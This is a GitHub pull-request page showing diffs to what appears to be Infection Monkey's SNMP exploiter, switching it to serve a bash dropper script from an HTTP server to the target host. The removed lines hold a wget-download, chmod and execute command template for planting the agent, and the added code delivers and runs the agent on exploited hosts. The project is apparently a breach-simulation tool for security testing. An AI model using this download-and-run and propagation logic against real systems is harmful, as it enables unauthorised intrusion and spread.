Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

3234 script dropper #3348

Merged
merged 12 commits into from
May 17, 2023
35 changes: 25 additions & 10 deletions monkey/agent_plugins/exploiters/snmp/src/plugin.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,10 +11,13 @@
# dependencies to get rid of or internalize
from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider
from infection_monkey.exploit.tools import all_udp_ports_are_closed
from infection_monkey.exploit.tools.http_agent_binary_server import start_agent_binary_server
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.http_agent_binary_server import start_dropper_script_server
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network import TCPPortSelector
from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository
from infection_monkey.utils.commands import build_monkey_commandline_parameters

from .community_string_generator import generate_community_strings
from .snmp_client import SNMPClient
Expand Down Expand Up @@ -97,29 +100,41 @@ def run(
self._propagation_credentials_repository.get_credentials()
)

snmp_exploiter = self._create_snmp_exploiter(snmp_client)
return snmp_exploiter.exploit_host(
host, servers, current_depth, snmp_options, community_strings, interrupt
)
snmp_exploiter = self._create_snmp_exploiter(snmp_client, host, servers, current_depth)
return snmp_exploiter.exploit_host(host, snmp_options, community_strings, interrupt)
except Exception as err:
msg = f"An unexpected exception occurred while attempting to exploit host: {err}"
logger.exception(msg)
return ExploiterResultData(
exploitation_success=False, propagation_success=False, error_message=msg
)

def _create_snmp_exploiter(self, snmp_client: SNMPClient) -> SNMPExploiter:
def _create_snmp_exploiter(
self,
snmp_client: SNMPClient,
target_host: TargetHost,
servers: Sequence[str],
current_depth: int,
) -> SNMPExploiter:
exploit_client = SNMPExploitClient(
self._agent_id, self._agent_event_publisher, self._plugin_name, snmp_client
)
agent_binary_server_factory = partial(
start_agent_binary_server,
args = [MONKEY_ARG]
args.extend(
build_monkey_commandline_parameters(
parent=self._agent_id, servers=servers, depth=current_depth + 1
)
)
dropper_script_server_factory = partial(
start_dropper_script_server,
target_host=target_host,
agent_binary_repository=self._agent_binary_repository,
tcp_port_selector=self._tcp_port_selector,
destination_path=get_agent_dst_path(target_host),
args=args,
)
return SNMPExploiter(
self._agent_id,
exploit_client,
agent_binary_server_factory,
dropper_script_server_factory,
self._otp_provider,
)
31 changes: 3 additions & 28 deletions monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py
Original file line number Diff line number Diff line change
@@ -1,40 +1,15 @@
from typing import Sequence

from common import OperatingSystem
from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE
from common.types import AgentID
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import TargetHost
from infection_monkey.model import MONKEY_ARG
from infection_monkey.utils.commands import build_monkey_commandline

SNMP_LINUX_COMMAND_TEMPLATE = (
"wget -qO %(monkey_path)s %(http_path)s "
"; chmod +x %(monkey_path)s "
"; %(agent_otp_environment_variable)s=%(agent_otp)s "
"%(monkey_path)s %(monkey_type)s %(parameters)s"
)
from infection_monkey.utils.commands import build_dropper_script_deploy_command


def build_snmp_command(
agent_id: AgentID,
target_host: TargetHost,
servers: Sequence[str],
current_depth: int,
agent_download_url: str,
otp: str,
) -> str:
if target_host.operating_system == OperatingSystem.WINDOWS:
raise Exception(f"Unsupported operating system: {target_host.operating_system}")

monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1)

command = SNMP_LINUX_COMMAND_TEMPLATE % {
"monkey_path": get_agent_dst_path(target_host),
"http_path": agent_download_url,
"monkey_type": MONKEY_ARG,
"parameters": monkey_cmd,
"agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE,
"agent_otp": otp,
}
return f'-c "{command}"'
deploy_command = build_dropper_script_deploy_command(target_host, agent_download_url, otp)
return f'-c "{deploy_command}"'
21 changes: 8 additions & 13 deletions monkey/agent_plugins/exploiters/snmp/src/snmp_exploiter.py
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
from logging import getLogger
from typing import Callable, Iterable, Sequence
from pathlib import PurePath
from typing import Callable, Iterable

from common.types import AgentID, Event
from common.types import Event
from infection_monkey.exploit import IAgentOTPProvider
from infection_monkey.exploit.tools import HTTPBytesServer
from infection_monkey.i_puppet import ExploiterResultData, TargetHost
Expand All @@ -13,34 +14,31 @@

logger = getLogger(__name__)

AgentBinaryServerFactory = Callable[[TargetHost], HTTPBytesServer]
DropperScriptServerFactory = Callable[[], HTTPBytesServer]


class SNMPExploiter:
def __init__(
self,
agent_id: AgentID,
exploit_client: SNMPExploitClient,
agent_binary_server_factory: AgentBinaryServerFactory,
dropper_script_server_factory: DropperScriptServerFactory,
otp_provider: IAgentOTPProvider,
):
self._agent_id = agent_id
self._exploit_client = exploit_client
self._agent_binary_server_factory = agent_binary_server_factory
self._dropper_script_server_factory = dropper_script_server_factory
self._otp_provider = otp_provider

def exploit_host(
self,
host: TargetHost,
servers: Sequence[str],
current_depth: int,
options: SNMPOptions,
community_strings: Iterable[str],
interrupt: Event,
) -> ExploiterResultData:
try:
logger.debug("Starting the agent binary server")
agent_binary_http_server = self._agent_binary_server_factory(host)

agent_binary_http_server = self._dropper_script_server_factory()
except Exception as err:
msg = (
"An unexpected exception occurred while attempting to start the agent binary HTTP "
Expand All @@ -52,10 +50,7 @@ def exploit_host(
)

command = build_snmp_command(
self._agent_id,
host,
servers,
current_depth,
agent_binary_http_server.download_url,
self._otp_provider.get_otp(),
)
Expand Down
4 changes: 2 additions & 2 deletions monkey/infection_monkey/dropper.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
from common.utils.argparse_types import positive_int
from common.utils.environment import get_os
from infection_monkey.utils.commands import (
build_monkey_commandline_explicitly,
build_monkey_commandline_parameters,
get_monkey_commandline_linux,
get_monkey_commandline_windows,
)
Expand Down Expand Up @@ -133,7 +133,7 @@ def _try_update_access_time(destination_path):
logger.warning("Cannot set reference date to destination file")

def _run_monkey(self, destination_path) -> subprocess.Popen:
monkey_options = build_monkey_commandline_explicitly(
monkey_options = build_monkey_commandline_parameters(
parent=self.opts.parent,
servers=self.opts.servers,
depth=self.opts.depth,
Expand Down
13 changes: 13 additions & 0 deletions monkey/infection_monkey/exploit/tools/helpers.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,8 @@
AGENT_BINARY_PATH_LINUX = PurePosixPath("/tmp/monkey")
AGENT_BINARY_PATH_WIN64 = PureWindowsPath(r"C:\Windows\temp\monkey64.exe")

DROPPER_SCRIPT_PATH_LINUX = PurePosixPath("/tmp/monkey-dropper.sh")


def get_agent_dst_path(host: TargetHost) -> PurePath:
return _add_random_suffix(_get_agent_path(host))
Expand All @@ -38,3 +40,14 @@ def get_random_file_suffix() -> str:
character_set = string.ascii_letters + string.digits + "_" + "-"
# Avoid the risk of blocking by using insecure_generate_random_string()
return insecure_generate_random_string(n=RAND_SUFFIX_LEN, character_set=character_set)


def get_dropper_script_dst_path(host: TargetHost) -> PurePath:
return _add_random_suffix(_get_dropper_script_path(host))


def _get_dropper_script_path(host: TargetHost) -> PurePath:
if host.operating_system == OperatingSystem.WINDOWS:
raise NotImplementedError("This function is not implemented for Windows")

return PurePosixPath(DROPPER_SCRIPT_PATH_LINUX)
55 changes: 53 additions & 2 deletions monkey/infection_monkey/exploit/tools/http_agent_binary_server.py
Original file line number Diff line number Diff line change
@@ -1,9 +1,14 @@
from pathlib import PurePath
from typing import Sequence

from common import OperatingSystem
from common.types import SocketAddress
from infection_monkey.exploit import IAgentBinaryRepository
from infection_monkey.exploit.tools import HTTPBytesServer
from infection_monkey.i_puppet import TargetHost
from infection_monkey.network import TCPPortSelector
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.utils.script_dropper import build_bash_dropper


def start_agent_binary_server(
Expand All @@ -22,10 +27,56 @@ def start_agent_binary_server(
if target_host.operating_system is None:
raise ValueError("The operating system of the target host is unknown")

bind_address = _get_bind_address(target_host, tcp_port_selector)
agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read()

server = HTTPBytesServer(bind_address, agent_binary)
return start_http_bytes_server(target_host, agent_binary, tcp_port_selector)


def start_dropper_script_server(
target_host: TargetHost,
agent_binary_repository: IAgentBinaryRepository,
tcp_port_selector: TCPPortSelector,
destination_path: PurePath,
args: Sequence[str],
) -> HTTPBytesServer:
"""
Starts an HTTP server that serves the dropper script

:param target_host: The host for whom to serve the dropper script
:param agent_binary_repository: The repository that contains the agent binary
:param tcp_port_selector: The TCP port selector to use
:param destination_path: The destination path into which to drop the agent payload
:param args: The arguments to pass to the agent payload

:return: The started HTTPBytesServer that serves the provided data
"""
if target_host.operating_system is None:
raise ValueError("The operating system of the target host is unknown")

if target_host.operating_system is OperatingSystem.WINDOWS:
raise NotImplementedError("Windows is not supported, yet")

agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read()
dropper_script = build_bash_dropper(destination_path, args, agent_binary)

return start_http_bytes_server(target_host, dropper_script, tcp_port_selector)


def start_http_bytes_server(
target_host: TargetHost, bytes_to_serve: bytes, tcp_port_selector: TCPPortSelector
) -> HTTPBytesServer:
"""
Starts an HTTP server that serves the provided data

:param target_host: The host to serve the agent binary to
:param bytes_to_server: The data (bytes) that the server will server
:param tcp_port_selector: The TCP port selector to use

:return: The started HTTPBytesServer that serves the provided data
"""
bind_address = _get_bind_address(target_host, tcp_port_selector)

server = HTTPBytesServer(bind_address, bytes_to_serve)
server.start()

return server
Expand Down
1 change: 1 addition & 0 deletions monkey/infection_monkey/utils/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
from .script_dropper import build_bash_dropper
Loading